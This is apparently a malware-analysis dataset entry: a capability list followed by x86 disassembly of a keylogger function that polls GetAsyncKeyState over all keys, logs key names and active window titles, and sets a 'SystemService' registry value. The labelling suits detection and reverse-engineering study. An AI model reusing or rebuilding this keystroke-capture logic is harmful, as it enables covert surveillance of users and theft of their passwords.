Function at 0x401040
Capabilities:
Check for foreground window switch
Check for time delay via gettickcount
Get common file path
Get graphical window text
Log keystrokes via polling
Query or enumerate registry value
Resolve function by parsing pe exports
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3a4
mov eax, dword [0x40e028]
xor eax, esp
mov dword [esp + 0x3a0], eax
push ebx
push esi
push edi
xor esi, esi
push 0x15e
lea eax, [esp + 0xec]
push esi
mov edi, 0xf
push eax
mov dword [esp + 0x68], edi
mov dword [esp + 0x64], esi
mov byte [esp + 0x54], 0
call fcn.004032c0
add esp, 0xc
push 0x15e
lea ecx, [esp + 0x24c]
push esi
push ecx
call fcn.004032c0
add esp, 0xc
lea edx, [esp + 0x248]
push edx
push 0x15d
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0x15d
lea eax, [esp + 0xec]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp + 0xe8]
lea ecx, [eax + 1]
lea ecx, [ecx]
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x4010d0
sub eax, ecx
push eax
lea ecx, [esp + 0xec]
push ecx
lea ecx, [esp + 0x4c]
call fcn.00402340
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 0x18]
push edx
push 0x20019
xor eax, eax
push esi
push str.SoftwareMicrosoftWindowsCurrentVersion
push 0x80000002
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], eax
mov dword [esp + 0x7c], eax
mov word [esp + 0x80], ax
mov byte [esp + 0x82], al
mov dword [esp + 0x34], edi
mov dword [esp + 0x2c], esi
call ebx
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x64]
push ecx
push esi
push esi
push str.SystemService
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [esp + 0x60], 0
jne 0x4011e3
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov edi, edx
push 0x28
shr edi, 6
call fcn.00402a24
add esp, 4
mov esi, eax
push 0xa
push esi
push edi
call fcn.00408f94
add esp, 0xc
lea edx, [esp + 0x14]
push edx
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersion
push 0x80000002
mov dword [esp + 0x28], 0
call ebx
mov eax, dword [esp + 0x14]
push 4
push esi
push 1
push 0
push str.SystemService
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
lea ecx, [eax + 1]
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x4011d4
sub eax, ecx
push eax
push esi
jmp 0x401201
lea eax, [esp + 0x60]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x4011f0
sub eax, edx
push eax
lea edx, [esp + 0x64]
push edx
mov eax, 0x40ed64
call fcn.00402250
xor edi, edi
mov dword [esp + 0x40], 0xf
mov dword [esp + 0x3c], edi
mov byte [esp + 0x2c], 0
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 0x14], eax
mov byte [esp + 0x13], 0
xor ebx, ebx
lea esp, [esp]
mov eax, ebx
cdq
mov ecx, 5
idiv ecx
test edx, edx
jne 0x401256
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
cmp ax, 0x8001
jne 0x401a0b
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, eax
sub edx, dword [esp + 0x14]
mov eax, 0x10624dd3
mul edx
shr edx, 6
cmp edx, 0x12c
jbe 0x4012d3
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x40], esp
push 0xffffffffffffffff
mov dword [esp + 0x34], eax
push 0
lea eax, [esp + 0x4c]
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], 0
push eax
mov byte [ecx + 4], 0
call fcn.00401ff0
call fcn.00401b50
add esp, 0x1c
lea edi, [esp + 0x28]
call fcn.00401ec0
xor edi, edi
cmp dword [esp + 0x1c], esi
je 0x40132c
push 0x78
lea ecx, [esp + 0x74]
push ecx
push esi
mov dword [esp + 0x28], esi
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 2
push 0x40cab0
lea eax, [esp + 0x30]
call fcn.00402250
lea eax, [esp + 0x70]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x401302
sub eax, edx
push eax
lea edx, [esp + 0x74]
push edx
lea eax, [esp + 0x30]
call fcn.00402250
push 2
push 0x40cab4
lea eax, [esp + 0x30]
call fcn.00402250
lea eax, [ebx - 1]
cmp eax, 0x7a
ja case.0x40133f.3
movzx eax, byte [eax + 0x401ad0]
jmp dword [eax*4 + 0x401a2c]
push 0xb
push str._leftclick_
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
push 0xc
push str._rightclick_
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
push 7
push str._space_
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
push 5
push str._tab_
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
push 0xa
push str._capslock_
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
push 7
push str._enter_
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
push 0xb
push str._leftarrow_
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
push 9
push str._uparrow_
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
push 0xc
push str._rightarrow_
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
push 0xb
push str._downarrow_
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
push 7
push str._shift_
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
push 5
push str._alt_
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
push 0xb
push str._backspace_
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
push 4
push str._F1_
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
push 4
push str._F2_
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
push 4
push str._F3_
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
push 4
push str._F4_
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
push 4
push str._F5_
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
push 4
push str._F6_
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
push 4
push str._F7_
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
push 4
push str._F8_
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
push 4
push str._F9_
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
push 5
push str._F10_
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
push 5
push str._F11_
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
push 5
push str._F12_
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
or ecx, 0xffffffff
sub ecx, dword [esp + 0x3c]
cmp ecx, 1
ja 0x401564
call fcn.00408e44
mov esi, dword [esp + 0x3c]
add esi, 1
cmp esi, 0xfffffffe
jbe 0x401575
call fcn.00408e44
mov eax, dword [esp + 0x40]
cmp eax, esi
jae 0x4015c9
mov edx, dword [esp + 0x3c]
push edx
push esi
lea ecx, [esp + 0x30]
call fcn.004025b0
mov eax, dword [esp + 0x40]
cmp esi, edi
jbe 0x401a0b
cmp eax, 0x10
mov eax, dword [esp + 0x2c]
jae 0x4015a5
lea eax, [esp + 0x2c]
mov ecx, dword [esp + 0x3c]
mov byte [ecx + eax], 0x30
cmp dword [esp + 0x40], 0x10
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x3c], esi
jae 0x4015c0
lea eax, [esp + 0x2c]
mov byte [eax + esi], 0
jmp 0x401a0b
cmp esi, edi
jne 0x401592
cmp eax, 0x10
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x3c], edi
jae 0x4015de
lea eax, [esp + 0x2c]
mov byte [eax], 0
jmp 0x401a0b
or edx, 0xffffffff
sub edx, dword [esp + 0x3c]
cmp edx, 1
ja 0x4015f7
call fcn.00408e44
mov esi, dword [esp + 0x3c]
add esi, 1
cmp esi, 0xfffffffe
jbe 0x401608
call fcn.00408e44
mov eax, dword [esp + 0x40]
cmp eax, esi
jae 0x401645
mov eax, dword [esp + 0x3c]
push eax
push esi
lea ecx, [esp + 0x30]
call fcn.004025b0
mov eax, dword [esp + 0x40]
cmp esi, edi
jbe 0x401a0b
cmp eax, 0x10
mov eax, dword [esp + 0x2c]
jae 0x401638
lea eax, [esp + 0x2c]
mov ecx, dword [esp + 0x3c]
mov byte [eax + ecx], 0x31
jmp 0x4015ad
cmp esi, edi
jne 0x401625
jmp 0x4015cd
or edx, 0xffffffff
sub edx, dword [esp + 0x3c]
cmp edx, 1
ja 0x40165c
call fcn.00408e44
mov esi, dword [esp + 0x3c]
add esi, 1
cmp esi, 0xfffffffe
jbe 0x40166d
call fcn.00408e44
mov eax, dword [esp + 0x40]
cmp eax, esi
jae 0x4016c1
mov eax, dword [esp + 0x3c]
push eax
push esi
lea ecx, [esp + 0x30]
call fcn.004025b0
mov eax, dword [esp + 0x40]
cmp esi, edi
jbe 0x401a0b
cmp eax, 0x10
mov eax, dword [esp + 0x2c]
jae 0x40169d
lea eax, [esp + 0x2c]
mov ecx, dword [esp + 0x3c]
mov byte [ecx + eax], 0x32
cmp dword [esp + 0x40], 0x10
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x3c], esi
jae 0x4016b8
lea eax, [esp + 0x2c]
mov byte [esi + eax], 0
jmp 0x401a0b
cmp esi, edi
jne 0x40168a
jmp 0x4015cd
or edx, 0xffffffff
sub edx, dword [esp + 0x3c]
cmp edx, 1
ja 0x4016db
call fcn.00408e44
mov esi, dword [esp + 0x3c]
add esi, 1
cmp esi, 0xfffffffe
jbe 0x4016ec
call fcn.00408e44
mov eax, dword [esp + 0x40]
cmp eax, esi
jae 0x401729
mov eax, dword [esp + 0x3c]
push eax
push esi
lea ecx, [esp + 0x30]
call fcn.004025b0
mov eax, dword [esp + 0x40]
cmp esi, edi
jbe 0x401a0b
cmp eax, 0x10
mov eax, dword [esp + 0x2c]
jae 0x40171c
lea eax, [esp + 0x2c]
mov ecx, dword [esp + 0x3c]
mov byte [ecx + eax], 0x33
jmp 0x4016a5
cmp esi, edi
jne 0x401709
jmp 0x4015cd
or edx, 0xffffffff
sub edx, dword [esp + 0x3c]
cmp edx, 1
ja 0x401743
call fcn.00408e44
mov esi, dword [esp + 0x3c]
add esi, 1
cmp esi, 0xfffffffe
jbe 0x401754
call fcn.00408e44
mov eax, dword [esp + 0x40]
cmp eax, esi
jae 0x401791
mov eax, dword [esp + 0x3c]
push eax
push esi
lea ecx, [esp + 0x30]
call fcn.004025b0
mov eax, dword [esp + 0x40]
cmp esi, edi
jbe 0x401a0b
cmp eax, 0x10
mov eax, dword [esp + 0x2c]
jae 0x401784
lea eax, [esp + 0x2c]
mov ecx, dword [esp + 0x3c]
mov byte [ecx + eax], 0x34
jmp 0x4016a5
cmp esi, edi
jne 0x401771
jmp 0x4015cd
or edx, 0xffffffff
sub edx, dword [esp + 0x3c]
cmp edx, 1
ja 0x4017ab
call fcn.00408e44
mov esi, dword [esp + 0x3c]
add esi, 1
cmp esi, 0xfffffffe
jbe 0x4017bc
call fcn.00408e44
mov eax, dword [esp + 0x40]
cmp eax, esi
jae 0x4017f9
mov eax, dword [esp + 0x3c]
push eax
push esi
lea ecx, [esp + 0x30]
call fcn.004025b0
mov eax, dword [esp + 0x40]
cmp esi, edi
jbe 0x401a0b
cmp eax, 0x10
mov eax, dword [esp + 0x2c]
jae 0x4017ec
lea eax, [esp + 0x2c]
mov ecx, dword [esp + 0x3c]
mov byte [ecx + eax], 0x35
jmp 0x4016a5
cmp esi, edi
jne 0x4017d9
jmp 0x4015cd
or edx, 0xffffffff
sub edx, dword [esp + 0x3c]
cmp edx, 1
ja 0x401813
call fcn.00408e44
mov esi, dword [esp + 0x3c]
add esi, 1
cmp esi, 0xfffffffe
jbe 0x401824
call fcn.00408e44
mov eax, dword [esp + 0x40]
cmp eax, esi
jae 0x401861
mov eax, dword [esp + 0x3c]
push eax
push esi
lea ecx, [esp + 0x30]
call fcn.004025b0
mov eax, dword [esp + 0x40]
cmp esi, edi
jbe 0x401a0b
cmp eax, 0x10
mov eax, dword [esp + 0x2c]
jae 0x401854
lea eax, [esp + 0x2c]
mov ecx, dword [esp + 0x3c]
mov byte [ecx + eax], 0x36
jmp 0x4015ad
cmp esi, edi
jne 0x401841
jmp 0x4015cd
or edx, 0xffffffff
sub edx, dword [esp + 0x3c]
cmp edx, 1
ja 0x40187b
call fcn.00408e44
mov esi, dword [esp + 0x3c]
add esi, 1
cmp esi, 0xfffffffe
jbe 0x40188c
call fcn.00408e44
mov eax, dword [esp + 0x40]
cmp eax, esi
jae 0x4018c9
mov eax, dword [esp + 0x3c]
push eax
push esi
lea ecx, [esp + 0x30]
call fcn.004025b0
mov eax, dword [esp + 0x40]
cmp esi, edi
jbe 0x401a0b
cmp eax, 0x10
mov eax, dword [esp + 0x2c]
jae 0x4018bc
lea eax, [esp + 0x2c]
mov ecx, dword [esp + 0x3c]
mov byte [ecx + eax], 0x37
jmp 0x4015ad
cmp esi, edi
jne 0x4018a9
jmp 0x4015cd
or edx, 0xffffffff
sub edx, dword [esp + 0x3c]
cmp edx, 1
ja 0x4018e3
call fcn.00408e44
mov esi, dword [esp + 0x3c]
add esi, 1
cmp esi, 0xfffffffe
jbe 0x4018f4
call fcn.00408e44
mov eax, dword [esp + 0x40]
cmp eax, esi
jae 0x401931
mov eax, dword [esp + 0x3c]
push eax
push esi
lea ecx, [esp + 0x30]
call fcn.004025b0
mov eax, dword [esp + 0x40]
cmp esi, edi
jbe 0x401a0b
cmp eax, 0x10
mov eax, dword [esp + 0x2c]
jae 0x401924
lea eax, [esp + 0x2c]
mov ecx, dword [esp + 0x3c]
mov byte [ecx + eax], 0x38
jmp 0x4015ad
cmp esi, edi
jne 0x401911
jmp 0x4015cd
or edx, 0xffffffff
sub edx, dword [esp + 0x3c]
cmp edx, 1
ja 0x40194b
call fcn.00408e44
mov esi, dword [esp + 0x3c]
add esi, 1
cmp esi, 0xfffffffe
jbe 0x40195c
call fcn.00408e44
mov eax, dword [esp + 0x40]
cmp eax, esi
jae 0x401999
mov eax, dword [esp + 0x3c]
push eax
push esi
lea ecx, [esp + 0x30]
call fcn.004025b0
mov eax, dword [esp + 0x40]
cmp esi, edi
jbe 0x401a0b
cmp eax, 0x10
mov eax, dword [esp + 0x2c]
jae 0x40198c
lea eax, [esp + 0x2c]
mov ecx, dword [esp + 0x3c]
mov byte [eax + ecx], 0x39
jmp 0x4015ad
cmp esi, edi
jne 0x401979
jmp 0x4015cd
push 3
push 0x40cba8
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
push 3
push 0x40cbac
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
push 3
push 0x40cbb0
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
push 3
push 0x40cbb4
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
push 3
push 0x40cbb8
lea eax, [esp + 0x30]
call fcn.00402250
jmp 0x401a0b
mov bl, byte [esp + 0x13]
lea esi, [esp + 0x28]
call fcn.00401f60
xor edi, edi
mov al, byte [esp + 0x13]
add al, 1
movsx ebx, al
cmp ebx, 0x100
mov byte [esp + 0x13], al
jl 0x401240
jmp 0x401232